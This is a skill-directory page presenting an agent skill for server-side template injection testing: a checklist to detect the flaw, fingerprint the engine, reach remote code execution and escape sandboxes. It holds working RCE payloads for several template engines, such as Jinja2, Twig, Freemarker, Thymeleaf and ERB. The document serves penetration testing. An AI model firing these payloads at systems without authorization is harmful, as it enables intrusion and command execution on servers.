neothecapt/redteamagent/ssti-testing
Claude Code and agent skill by neothecapt/redteamagent
Trust tier 2
- community
Source check pending
Checking that the SKILL.md file is still in the repository.
Server-side template injection detection, engine identification, and RCE
Install
npx vskill@latest install neothecapt/redteamagent/ssti-testingSKILL.md
The same SKILL.md was published earlier as neothecapt/redteamagent/ssti-testing.
Server-Side Template Injection (SSTI) Testing
When to Activate
- User input rendered in dynamic templates (emails, PDFs, pages)
- Reflected input shows template-like behavior
- Error messages reveal template engine names or syntax
Tools
- run_tool curl / Burp Suite Repeater
- tplmap (automated SSTI exploitation)
- SSTImap
- Custom polyglot payloads
Methodology
1. Detect Template Injection
- [ ] Inject math probe:
{{7*7}}— look for49in response - [ ] Alternate syntaxes:
${7*7},<%= 7*7 %>,#{7*7},{7*7},[= 7*7 ] - [ ] String concat:
{{'foo'+'bar'}}→foobar - [ ] Polyglot:
${{<%[%'"}}%\.— observe which causes errors - [ ] Check URL params, POST body, headers, cookie values
2. Identify Template Engine
Jinja2 / Python
- [ ]
{{config}}— dumps Flask config - [ ]
{{config.items()}}— enumerate settings - [ ]
{{self.__class__.__mro__}}— MRO chain - [ ]
{{request.application.__globals__}}
Twig / PHP
- [ ]
{{_self.env.getFilter('id')}}(Twig <2) - [ ]
{{['id']|filter('system')}}(Twig 3) - [ ]
{{app.request.server.all|join(',')}}— server vars
Freemarker / Java
- [ ]
${7*7}→49 - [ ]
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} - [ ]
${object.class.forName("java.lang.Runtime")}
Pebble / Java
- [ ]
{% set cmd = 'id' %}{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd) %}
Thymeleaf / Java
- [ ]
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x - [ ] URL path-based injection in Spring Boot
ERB / Ruby
- [ ]
<%= 7*7 %>→49 - [ ]
<%= system('id') %> - [ ]
<%=id%>
Smarty / PHP
- [ ]
{php}echoid;{/php}(Smarty <3) - [ ]
{system('id')}
3. Exploitation — RCE
- [ ] Jinja2:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}} - [ ] Twig:
{{['id']|filter('system')}} - [ ] Freemarker:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} - [ ] ERB:
<%=whoami%> - [ ] Confirm with
id,whoami, then escalate
4. Sandbox Escape
- [ ] Jinja2: walk MRO to find
subprocess.Popenoros.popen - [ ] Restricted engines: enumerate available objects and methods
- [ ] Chain gadgets through
__subclasses__(),__globals__,__builtins__
5. Blind SSTI
- [ ] Time-based: inject sleep or heavy computation
- [ ] Out-of-band: DNS/HTTP callback from template execution
- [ ] Error-based: force errors that leak data
What to Record
- Parameter and endpoint where SSTI confirmed
- Template engine and version identified
- Proof payload and output
- Whether sandbox was present and bypassed
- RCE achieved (yes/no) with evidence
- Severity: Critical (RCE) or High (info leak)
- Remediation: use logic-less templates, sandbox, never pass raw user input to template render
Security
- Security scanPassed, 100 of 100Pattern checks on the skill's files.
- Model reviewNot runA model review is scheduled for the next rescan.
Quality evaluation
- Task evaluationNot runNo evaluation yet. Run one in Skill Studio.
Source
- SKILL.md in the repositoryCheckingagent/skills/ssti-testing/SKILL.md
Popularity
- Repository stars
- 70
- Repository forks
- 13
- 7-day trend score
- 21
Stars and forks are for the whole GitHub repository, not this skill alone. Refreshed 23 May 2026, 6 months ago.
Works with
Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.
- Claude Code
- Grok Build (Cursor)
- GitHub Copilot
- Windsurf
- Codex
- Gemini CLI
- Cline
- Amp
- Roo Code
- Goose
- Continue
- Kilo Code
- Junie
- Trae
- OpenHands
- Qwen Code
- AI Agent
- Tabnine Chat
- Sourcegraph Cody
- Amazon Q
- Firebase Genkit
- Sweep
- Devin
- Phind
- Mentat
- Claude Desktop
- Aider
- GPT Pilot
- Plandex
- bolt.new
- v0
- Replit Agent
- Anse
- TypingMind
- BetterChatGPT
- LibreChat
- Warp AI
- Pieces
- Fig AI
Embed badge
[](https://verified-skill.com/skills/neothecapt/redteamagent/ssti-testing)